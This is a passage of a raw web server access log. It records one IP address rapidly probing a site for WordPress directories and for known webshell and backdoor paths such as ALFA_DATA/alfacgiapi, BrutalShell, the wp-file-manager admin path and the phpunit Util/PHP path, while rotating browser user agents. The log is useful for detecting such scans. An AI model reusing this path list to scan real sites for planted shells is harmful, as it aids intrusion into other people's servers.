"GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-includes/blocks/query/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-admin/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /assets/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:41 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-content/plugins/wp-file-manager/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-admin/js/widget/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:42 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:43 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:44 +0300] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:45 +0300] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET 